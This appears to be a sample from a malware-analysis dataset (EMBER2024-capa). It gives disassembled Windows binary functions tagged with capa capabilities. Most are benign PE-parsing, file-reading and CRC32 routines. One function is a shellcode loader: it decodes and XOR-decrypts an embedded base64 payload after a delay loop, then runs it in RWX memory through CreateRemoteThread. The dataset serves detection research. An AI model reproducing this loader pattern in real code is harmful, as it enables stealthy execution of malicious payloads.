joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b63f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x140115010]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x1400b658c
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x1400b658c
cmp r10d, r14d
jne 0x1400b6490
sub rbx, 0x10
jmp 0x1400b65d4
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x1400b6502
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x1400b64c4
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x1400b64cc
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x1400b64eb
movzx edx, r11b
mov rcx, rsi
call fcn.1400b74c0
test al, al
jne 0x1400b65e5
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.1400b7bf0
test al, al
jne 0x1400b65e5
mov edx, dword [rsi + 0x64]
lea r9, [0x1400b7f50]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x1400b652e
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.1400b6270
jmp 0x1400b6582
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.1400b6270
test dil, dil
je 0x1400b657a
cmp byte [rsi + 0x6a], 0
jne 0x1400b657a
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x1400b65e5
sub rbx, 0x10
jmp 0x1400b65d4
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x1400b65e9
mov ebp, dword [rbx]
jmp 0x1400b6450
mov al, 1
jmp 0x1400b65f2
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400c1e70
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x1400b6620
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rax, qword [rcx + 0x20]
xor r15d, r15d
sub rax, 0x34
mov qword [rcx + 0x78], r15
mov qword [rcx + 0x28], rax
mov r14d, edx
mov rax, qword [rcx + 0x30]
mov rbx, rcx
mov word [rcx + 0x6a], r15w
lea ebp, [r15 - 1]
mov dword [rcx + 0x3c], r15d
mov edi, r15d
mov qword [rcx + 0x70], rax
mov qword [rax + 0x10], rax
mov word [rcx + 0x68], r15w
cmp r15w, word [rcx + 0xb8]
jge 0x1400b675b
mov esi, r15d
mov rax, qword [rbx + 0xd0]
lea edx, [rbp + 1]
mov dword [rbx + 0x88], r15d
mov r9d, r14d
mov qword [rbx + 0x80], r15
mov rcx, rbx
movsx ebp, word [rsi + rax]
mov r8d, ebp
call fcn.1400b6af0
test al, al
jne 0x1400b67f6
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 0x5c]
lea eax, [r8 - 1]
test edx, eax
jne 0x1400b66ef
cmp edx, dword [rbx + 0x60]
jl 0x1400b66ef
cmp edx, dword [rbx + 0x64]
jg 0x1400b66ef
mov rcx, qword [rbx + 0x80]
test rcx, rcx
je 0x1400b66ef
mov rax, qword [rbx + 0x70]
movzx ecx, byte [rcx + 0x18]
xor cl, byte [rax + 0x18]
test cl, 8
jne 0x1400b66ef
add qword [rbx + 0x30], 0xfffffffffffffffc
mov r9, qword [rbx + 0x70]
mov rax, qword [r9 + 0x10]
cmp qword [rbx + 0x30], rax
je 0x1400b6712
test byte [r9 + 0x18], 8
je 0x1400b6712
neg r8d
and r8d, edx
sub edx, r8d
cmp edx, dword [rbx + 8]
jmp 0x1400b6723
lea eax, [r8 - 1]
neg r8d
add eax, edx
and eax, r8d
sub eax, edx
cmp eax, dword [rbx + 8]
setge dl
mov rcx, rbx
call fcn.1400b74c0
test al, al
jne 0x1400b67f6
mov rax, qword [rbx + 0x80]
test rax, rax
je 0x1400b6746
mov qword [r9 + 0x28], rax
movsx eax, word [rbx + 0xb8]
inc edi
add rsi, 2
cmp edi, eax
jl 0x1400b6683
movzx edi, word [rbx + 0x68]
mov rdx, qword [rbx + 0x78]
cmp di, 1
jbe 0x1400b67fa
test rdx, rdx
je 0x1400b67fa
mov ebp, 0xffff
nop dword [rax + rax]
lea rsi, [rdx + 8]
cmp di, 1
jbe 0x1400b6798
movsxd rcx, dword [rdx + 0x1c]
mov rax, qword [rdx + 0x10]
lea r10, [rax + rcx*4]
jmp 0x1400b679b
mov r10, r15
mov qword [rsi], r10
test byte [rdx + 0x18], 8
mov r11d, dword [rdx + 0x20]
mov r8d, r11d
mov eax, dword [rdx + 0x1c]
je 0x1400b67b6
dec r11d
add r11d, eax
jmp 0x1400b67cd
sub r8d, eax
inc r8d
dec eax
mov dword [rdx + 0x20], r8d
movsxd rcx, eax
shl rcx, 2
add qword [rdx + 0x10], rcx
mov edx, r8d
mov rcx, rbx
call fcn.1400b77e0
test al, al
jne 0x1400b67f6
lea edx, [r11 + 1]
mov rcx, rbx
call fcn.1400b77e0
test al, al
jne 0x1400b67f6
mov rdx, qword [rsi]
add di, bp
jne 0x1400b6780
jmp 0x1400b67fe
mov al, 1
jmp 0x1400b6809
mov qword [rbx + 0x78], r15
mov rax, qword [rbx + 0x28]
cmp qword [rbx + 0x30], rax
setae al
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x1400bc8a0
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1400bc8bc
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400bc910
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400bca35
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1400bca35
test rax, rax
je 0x1400bca35
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1400bca35
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1400bc9aa
lea rax, [0x1400bca90]
jmp 0x1400bca03
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1400bca35
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400bca23
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1400bc9d0
lea rax, [0x1400bca60]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1400bca4a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1400be1a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1400be1ab
xor eax, eax
ret
lea r11, [0x1400dff50]
not ecx
cmp r8d, 8
jb 0x1400be281
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1400be1d0
test r8d, r8d
je 0x1400be2ad
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1400be290
not ecx
mov eax, ecx
ret
Function at 0x1807a3a35
Capabilities:
Encode data using xor

Disassembly:
js 0x180d82cb2
call fcn.180d6d0e0
add byte [rax], al
jb 0x1807a3aba
je 0x1807a3a98
invalid
sub dword [rcx + 0x44], ecx
cmp al, 0x10
jrcxz 0x1807a3af2
call 0x159674911
invalid
invalid
insb byte [rdi], dx
xor eax, dword [rbp + 0x1a36f4a]
xchg edi, eax
lodsb al, byte [rsi]
rep insd dword [rdi], dx
xor esp, dword [rdi + riz*4 - 0x41dd26f4]
mov ecx, 0x325d264e
push 0x66
fisub word [rdx]
jnp 0x1807a3b1c
cmpsd dword [rsi], dword [rdi]
fisub dword [rdx + 0x29ed2a86]
frstor dword [rsi + 9]
xchg esp, eax
sub al, 0xdd
or eax, 0x22d33cda
sbb eax, 0xdd2886e3
loopne 0x1807a3b80
invalid
and al, 0x9e
mov bh, 0xc9
clc
imul ebx, dword [rbx - 4], 0x3e
xchg ebp, esi
lea ebx, [rsi + riz*4 + 1]
pop rsp
mov ah, byte [rdi]
test eax, 0x734127a0
ret
cmp r13, 0x1a9c6557
not r13w
movsx r13d, r13w
setb r13b
mov r13b, 0x38
add r13, 0x6d4f53eb
mov r13, qword [rsp + 0x10]
call fcn.1807a3a35
sal byte [rdx], cl
hlt

Function at 0x180d4acf7
Capabilities:
Encode data using xor

Disassembly:
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x38]
call fcn.180e09a4a
adc byte [rbp + 0x24648d48], bl
cmp al, ch
in eax, dx
or eax, dword [rax]
cmp bl, 0xcf
vpacksswb ymm6, ymm0, ymmword [rdx - 0x29ac554]
xor ah, dl
cmp dword [rdi + rdi*2], ebx
ficomp dword [rcx - 0x3b]
jno 0x180d4acfa
push rdx
invalid
Function at 0x140001883
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x878
lea rbp, [rsp + 0x80]
call sym.__main
call sym.excess_code
mov qword [rbp + 0x7c8], 0
mov qword [rbp + 0x7e8], 0
mov dword [rbp + 0x7dc], 0x2ac
mov edx, dword [rbp + 0x7dc]
lea rax, [rbp + 0x7c8]
mov r8d, edx
mov rdx, rax
lea rax, str.OENHOtM5PpTBZAe6KakZwb1Yqn5YtvyKXWjUVby9dayg9MfLbfGj0NfZ1iiEViaODptUVX5MCIr4rseEw4bKI7VOCH_4XHZV9i7RpBFc_i7zhvpII97BZCINZRJVnxNUTCrnuXBORVTM8hglfPf9aZTBAwNLFxxcy1Q5nyLuMlgahDsIr4rseEw4C5FEmoj8ocwo19kMpANEoU6jgW4IYt4fdiwAoy1slpMjh_ZzTutrXBOfO6cEyoZr2iamxijitQJ7FXg9arriP4jejfFnZMVMfB9e_IFlZAW6uk9xCggA3elJRGtb3ZsgG4qlC3xTZCEn5BRTIslqxz8HxU9ZA0czXop2D3fzDcGWnPXDkDFp_Hd6Cn9ZyAfgj578wIpqrNfjtvNvQesyia_75_38vu4duKfN1Si4dqVFtU2Ab78IqADbMWzd5rmRYqfTipY9UGSoECUh56nGAQJ7Cbk0Z2eazjHcKXg_DssFoY84yqRyLPP4bVVftJsXBIj4mFd277Gxsl1aAcN6ZQiu41c8H4hLmzqHbNigbtTm6_qs9tymSePWN_8Nv0p60fJkSf6T6LVv6UkrQv3ICDwngTYDzPaahSnrPcMVdiAj5dG5oZ3fYbNg3otUWoPy8HMnhtxI8owUDk20eisw5mvnP19Kj_dSv5Jw0gAAAA
mov rcx, rax
call sym.base64_decode
mov eax, dword [rbp + 0x7dc]
lea edx, [rax + 3]
test eax, eax
cmovs eax, edx
sar eax, 2
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub eax, 1
mov dword [rbp + 0x7e4], eax
jmp 0x1400019c5
mov rdx, qword [rbp + 0x7c8]
mov eax, dword [rbp + 0x7e4]
cdqe
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x1400019be
mov dword [rbp + 0x7e0], 0
jmp 0x140001946
lea rax, str.Sqra0_3AeBDEFGH45WmnopuvwxYZklMhi7I16_QR_jCXabcJ79_Ag9OPrstTUByz0defKLV238N
mov rcx, rax
call sym.adjust_first_to_last
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x5f5e0fe
jle 0x140001930
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x800
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x7e8], rax
mov eax, dword [rbp + 0x7e4]
lea edx, [rax + 1]
mov rcx, qword [rbp + 0x7c8]
lea rax, [rbp - 0x40]
mov r9d, edx
lea r8, str.Sqra0_3AeBDEFGH45WmnopuvwxYZklMhi7I16_QR_jCXabcJ79_Ag9OPrstTUByz0defKLV238N
mov rdx, rax
call sym.xor_encrypt_decrypt
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x800
mov r8, rdx
mov rdx, rax
call sym.memcpy
jmp 0x1400019d2
sub dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0
jns 0x140001907
mov rbx, qword [rbp + 0x7e8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rbx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x7e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x878
pop rbx
pop rbp
ret
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001db0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
test esi, esi
mov rbx, rcx
jle 0x140001ee0
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001dfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e85
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001de0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001f02
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ee7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001e7e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e90
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140008098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001e08
mov rax, qword [0x140008098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002470
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x1400024cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400024c3
test rsi, rsi
je 0x1400024c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x1400026f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop

Function at 0x140002700
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002718
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002720
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002730
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000277d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002774
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000277f
add rax, 0x28
cmp rax, r9
jne 0x140002760
xor eax, eax
ret

Function at 0x140002780
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002810
mov rdx, qword [0x140005410]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400027fe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027fe
cmp word [rax + 0x18], 0x20b
jne 0x1400027fe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002810
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027e9
add rbx, 0x28
cmp rbx, rdi
je 0x140002810
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027e0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002820
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002840
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002848
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002840
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000289d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002894
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002840
add rax, 0x28
cmp rax, r9
jne 0x140002880
xor eax, eax
ret

Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400028bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400028bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400028e0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005410]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002900
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002908
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002900
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002950
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002947
test rcx, rcx
je 0x140002900
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002938
xor eax, eax
ret

Function at 0x140002960
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000297f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002988
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400029a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029c0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400029c0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002a14
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002a20
add rdx, 0x28
cmp r9, rdx
jne 0x140002a00
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002a30
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005410]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a52
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a60
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a52
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a52
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002a52
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002ab5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002ac8
add rdx, 0x28
cmp rdx, r10
jne 0x140002aa0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ad7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
